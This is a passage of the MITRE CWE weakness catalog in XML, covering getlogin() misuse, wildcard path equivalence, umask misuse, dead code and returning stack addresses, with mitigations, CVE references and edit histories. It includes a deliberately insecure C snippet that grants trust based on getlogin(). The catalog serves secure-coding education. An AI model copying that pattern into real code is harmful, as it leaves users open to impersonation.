               <Description>Using names for security purposes is not advised. Names are easy to forge and can have overlapping user IDs, potentially causing confusion or impersonation.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use getlogin_r() instead, which is reentrant, meaning that other processes are locked out from changing the username.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code relies on getlogin() to determine whether or not a user is trusted. It is easily subverted.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>pwd = getpwnam(getlogin());<xhtml:br/>if (isTrustedGroup(pwd-&gt;pw_gid)) {<xhtml:div style="margin-left:1em;">allow();</xhtml:div>} else {<xhtml:div style="margin-left:1em;">deny();</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Often Misused: Authentication</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Misused Authentication: getlogin()</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="56" Name="Path Equivalence: 'filedir*' (Wildcard)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of asterisk wildcard ('filedir*') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="155" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-0696</Reference>
               <Description>List directories using desired path and "*"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0696</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0433</Reference>
               <Description>List files in web server using "*.ext"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0433</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>filedir* (asterisk / wildcard)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Asterisk Wildcard - filedir*</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="560" Name="Use of umask() with chmod-style Argument" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="687" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use umask() with the correct argument.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>If you suspect misuse of umask(), you can use grep to spot call instances of umask().</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Notes>
            <Note Type="Other">Some umask() manual pages begin with the false statement: "umask sets the umask to mask &amp; 0777" Although this behavior would better align with the usage of chmod(), where the user provided argument specifies the bits to enable on the specified file, the behavior of umask() is in fact opposite: umask() sets the umask to ~mask &amp; 0777. The documentation goes on to describe the correct usage of umask(): "The umask is used by open() to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument to open(2) (so, for example, the common umask default value of 022 results in new files being created with permissions 0666 &amp; ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666)."</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Other_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Often Misused: umask()</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="561" Name="Dead Code" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product contains dead code, which can never be executed.</Description>
         <Extended_Description>Dead code is code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1164" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Note>Dead code that results from code that can never be executed is an indication of problems with the source code that needs to be fixed and is an indication of poor quality.</Note>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Attack Modeling</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode Quality Analysis</xhtml:li>
                           <xhtml:li>Compare binary / bytecode to application permission manifest</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Automated Monitored Execution</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Permission Manifest Analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source Code Quality Analyzer</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Warning Flags</xhtml:li>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Remove dead code before deploying the application.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use a static analysis tool to spot dead code.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null, while on the only path where s can be assigned a non-null value there is a return statement.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>String s = null;<xhtml:br/>if (b) {<xhtml:div style="margin-left:1em;">s = "Yes";<xhtml:br/>return;</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>if (s != null) {<xhtml:div style="margin-left:1em;">Dead();</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class DoubleDead {<xhtml:div style="margin-left:1em;">private void doTweedledee() {<xhtml:div style="margin-left:1em;">doTweedledumb();</xhtml:div>}<xhtml:br/>private void doTweedledumb() {<xhtml:div style="margin-left:1em;">doTweedledee();</xhtml:div>}<xhtml:br/>public static void main(String[] args) {<xhtml:div style="margin-left:1em;">System.out.println("running DoubleDead");</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class Dead {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>String glue;<xhtml:br/>
                           <xhtml:br/>public String getGlue() {<xhtml:div style="margin-left:1em;">return "glue";</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2014-1266</Reference>
               <Description>chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -&gt; CWE-561 (Dead Code) -&gt; CWE-295 (Improper Certificate Validation) -&gt; CWE-393 (Return of Wrong Status Code) -&gt; CWE-300 (Channel Accessible by Non-Endpoint).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-1266</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC07-C</Entry_ID>
               <Entry_Name>Detect and remove dead code</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>MSC00-PL</Entry_ID>
               <Entry_Name>Detect and remove dead code</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP2</Entry_ID>
               <Entry_Name>Unused Entities</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-20</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-20"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Common_Consequences, References, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="562" Name="Return of Stack Variable Address" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.</Description>
         <Extended_Description>Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="758" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="672" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="825" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Modify Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>If the returned stack buffer address is dereferenced after the return, then an attacker may be able to modify or read memory, depending on how the address is used.  If the address is used for reading, then the address itself may be exposed, or the contents that the address points to.  If the address is used for writing, this can lead to a crash and possibly code execution.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
